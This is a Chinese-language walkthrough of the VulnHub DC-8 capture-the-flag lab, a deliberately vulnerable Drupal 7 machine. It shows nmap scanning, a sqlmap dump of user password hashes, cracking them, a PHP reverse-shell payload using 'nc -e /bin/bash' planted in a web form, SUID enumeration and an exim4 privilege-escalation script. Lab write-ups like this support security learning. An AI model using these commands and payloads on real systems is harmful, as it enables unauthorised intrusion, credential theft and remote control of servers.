靶机信息
官网地址:DC: 8 ~ VulnHub
DC-8 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
This challenge is a bit of a hybrid between being an actual challenge, and being a "proof of concept" as to whether two-factor authentication installed and configured on Linux can prevent the Linux server from being exploited.
The "proof of concept" portion of this challenge eventuated as a result of a question being asked about two-factor authentication and Linux on Twitter, and also due to a suggestion by @theart42.
The ultimate goal of this challenge is to bypass two-factor authentication, get root and to read the one and only flag.
You probably wouldn't even know that two-factor authentication was installed and configured unless you attempt to login via SSH, but it's definitely there and doing it's job.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
DC-8是另一个专门建立的易受攻击的实验室,旨在获得渗透测试领域的经验。
这个挑战是实际挑战和“概念证明”的混合体,即在Linux上安装和配置双因素身份验证是否可以防止Linux服务器被利用。
这个挑战的“概念验证”部分最终是由于Twitter上一个关于双因素身份验证和Linux的问题,以及@theart42的建议。
这个挑战的最终目标是绕过双因素身份验证,获得root并读取唯一标志。
除非您尝试通过SSH登录,否则您可能甚至不知道已经安装和配置了双因素身份验证,但它肯定在那里并且正在完成它的工作。
必须具备Linux技能并熟悉Linux命令行,还必须具有使用基本渗透测试工具的经验。
对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAU7上向我寻求帮助,让你继续学习。但请注意:我不会给你答案,相反,我会给你一个如何前进的想法。
只有一个flag,有个新名词哈,双因素身份验证:
双因素认证(2FA)教程 - 阮一峰的网络日志 (ruanyifeng.com)
就是说我们尝试登录ssh的时候会不止要求我们验证用户名和密码,还会要求验证别的东西
我们的目的是绕过这项验证拿到root权限并获取唯一flag
信息收集
nmap 192.168.66.2-254
nmap 192.168.66.145 -A -p-
开放了80和22端口
http(80)
进来又是熟悉的界面,用插件看,drupal7
我们观察一下页面,发现文章变换的时候是nid控制的
http://192.168.66.145/?nid=1
那么是否存在sql注入呢,先放SQLmap跑着
百度上看了一下,drupal7有个代码执行的洞,但是需求知道个账号密码
这时,我们的sqlmap也抛出了结果,还真有sql注入
python3 .\sqlmap.py -u http://192.168.66.145/?nid=1 -D d7db -T users -C "name,pass" --dump
+--------+---------------------------------------------------------+
| name | pass |
+--------+---------------------------------------------------------+
| admin | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z |
| john | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF |
+--------+---------------------------------------------------------+
跑出用户名和密码哈,常规的md5破解网站都出不来结果
我们尝试john来跑密码
john pass.txt
跑出来个turtle
又跑去网站逛了一圈没看见登录啊,是我眼瞎还是没有?
算了,直接爆破路径吧
dirsearch -u http://192.168.66.145/ -x 429
第一个结果就是/robots.txt
访问一下,在里面得到了许多路径,其中就包括用户登录的路径/user/login/
#
# robots.txt
#
# This file is to prevent the crawling and indexing of certain parts
# of your site by web crawlers and spiders run by sites like Yahoo!
# and Google. By telling these "robots" where not to go on your site,
# you save bandwidth and server resources.
#
# This file will be ignored unless it is at the root of your host:
# Used: http://example.com/robots.txt
# Ignored: http://example.com/site/robots.txt
#
# For more information about the robots.txt standard, see:
# http://www.robotstxt.org/robotstxt.html
User-agent: *
Crawl-delay: 10
# CSS, JS, Images
Allow: /misc/*.css$
Allow: /misc/*.css?
Allow: /misc/*.js$
Allow: /misc/*.js?
Allow: /misc/*.gif
Allow: /misc/*.jpg
Allow: /misc/*.jpeg
Allow: /misc/*.png
Allow: /modules/*.css$
Allow: /modules/*.css?
Allow: /modules/*.js$
Allow: /modules/*.js?
Allow: /modules/*.gif
Allow: /modules/*.jpg
Allow: /modules/*.jpeg
Allow: /modules/*.png
Allow: /profiles/*.css$
Allow: /profiles/*.css?
Allow: /profiles/*.js$
Allow: /profiles/*.js?
Allow: /profiles/*.gif
Allow: /profiles/*.jpg
Allow: /profiles/*.jpeg
Allow: /profiles/*.png
Allow: /themes/*.css$
Allow: /themes/*.css?
Allow: /themes/*.js$
Allow: /themes/*.js?
Allow: /themes/*.gif
Allow: /themes/*.jpg
Allow: /themes/*.jpeg
Allow: /themes/*.png
# Directories
Disallow: /includes/
Disallow: /misc/
Disallow: /modules/
Disallow: /profiles/
Disallow: /scripts/
Disallow: /themes/
# Files
Disallow: /CHANGELOG.txt
Disallow: /cron.php
Disallow: /INSTALL.mysql.txt
Disallow: /INSTALL.pgsql.txt
Disallow: /INSTALL.sqlite.txt
Disallow: /install.php
Disallow: /INSTALL.txt
Disallow: /LICENSE.txt
Disallow: /MAINTAINERS.txt
Disallow: /update.php
Disallow: /UPGRADE.txt
Disallow: /xmlrpc.php
# Paths (clean URLs)
Disallow: /admin/
Disallow: /comment/reply/
Disallow: /filter/tips/
Disallow: /node/add/
Disallow: /search/
Disallow: /user/register/
Disallow: /user/password/
Disallow: /user/login/
Disallow: /user/logout/
# Paths (no clean URLs)
Disallow: /?q=admin/
Disallow: /?q=comment/reply/
Disallow: /?q=filter/tips/
Disallow: /?q=node/add/
Disallow: /?q=search/
Disallow: /?q=user/password/
Disallow: /?q=user/register/
Disallow: /?q=user/login/
Disallow: /?q=user/logout/
尝试登录admin和john用密码turtle
admin登陆失败了,john登录成功
后台探索一番得到了一处可以反弹shell的地方
<p>hacker</p>
<?php
system("nc -e /bin/bash 192.168.66.1 1743");
?>
我们将这里提交消息后的弹出信息设置好后,到页面最底部保存一下
然后回到主页,随便输入点什么提交上去,让提交成功的页面去加载我们写的反弹shll代码
攻击机上开启监听,网页上提交
ncat -lvp 1743
反弹shell成功
提权
使用python改善shell环境
python -c 'import pty;pty.spawn("/bin/bash")'
查看是否又命令可以进行提权’
find / -user root -perm -4000 -print 2>/dev/null
sudo -l需要密码
我们在这里使用exim4提权,我曾在dc4上也成功利用过其进行提权DC-4笔记-CSDN博客
这里和以前一样,www目录没权限,也是要切换到/tmp目录下下载执行
但是这次发现这个提权脚本后面能加参数
./46996.sh -m setuid
./46996.sh -m netcat
这两个都试试,多试几次能成功
但是不知道为什么,我这次提权成功是netcet参数
但是把,成功过后过一会又变成了www的shell
我尝试趁着这root权限的这段时间赶紧反弹一个shell出去,但是这边shell失效的时候,反弹出去的shell也会失效,奇怪
那就只好趁着有rooy权限的时间赶快拿falg吧
flag
小结
这个靶场探讨了多重身份验证的系统是否绝对安全
答案是否定的,可能多重身份验证的那一个点,一个服务不好突破
但是攻击者可能会从其他的服务或者功能点渗透进系统并造成破坏
中间的web渗透和提权就没什么好说的了,就是为啥root权限只能维持一小会呢,不理解